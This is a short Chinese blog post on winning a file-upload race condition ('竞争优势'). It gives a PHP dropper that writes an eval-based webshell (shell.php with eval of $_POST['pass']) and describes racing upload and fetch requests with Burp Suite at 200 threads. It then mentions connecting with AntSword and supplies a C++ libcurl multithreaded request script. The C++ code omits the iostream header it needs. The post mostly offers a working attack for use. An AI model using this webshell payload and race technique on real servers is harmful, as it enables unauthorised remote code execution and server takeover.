竞争优势

162 阅读1分钟

当然文件上传竞争优势就是术语,原理很简单实现很困难,困难的是需要顺畅的网络。 这里先写好palyload---

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["pass"]); ?>'); ?>

然后呢把上传的包,和请求的包拿下 上传的包 image.png 请求的包

image.png 然后设置两个没有负载,调节线程数为200,同时开始攻击

image.png 看到网页状态码,为200就停止攻击,不然打开的shell会阻塞文件的删除,大量的同名文件堆积会导致服务器崩掉,得不偿失。 上传到shell后就可以用蚁剑访问啦

进入到服务器文件系统

image.png 当然burpsuite的发包速度好像有点慢用c做个多线程攻击程序

#include <curl/curl.h>
#include <string>
#include <thread>
#include <vector>

using namespace std;

size_t write_callback(char *ptr, size_t size, size_t nmemb, void *userdata) {
    return size * nmemb;
}

void send_request(string url) {
    CURL *curl;
    CURLcode res;
    
    curl = curl_easy_init();
    if (curl) {
        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);

        // 发送请求
        res = curl_easy_perform(curl);
        if (res != CURLE_OK) {
            cerr << "curl_easy_perform() failed: " << curl_easy_strerror(res) << endl;
        }
        curl_easy_cleanup(curl);
    }
}

int main() {
    const string url = "http://example.com/index.html";
    const int thread_num = 10;
    const int request_num_per_thread = 10000;
    vector<thread> threads;
    for (int i = 0; i < thread_num; i++) {
        threads.emplace_back([url, request_num_per_thread](){
            for (int j = 0; j < request_num_per_thread; j++) {
                send_request(url);
            }
        });
    }
    for (auto& t : threads) {
        t.join();
    }
    cout << "All requests complete." << endl;

    return 0;
}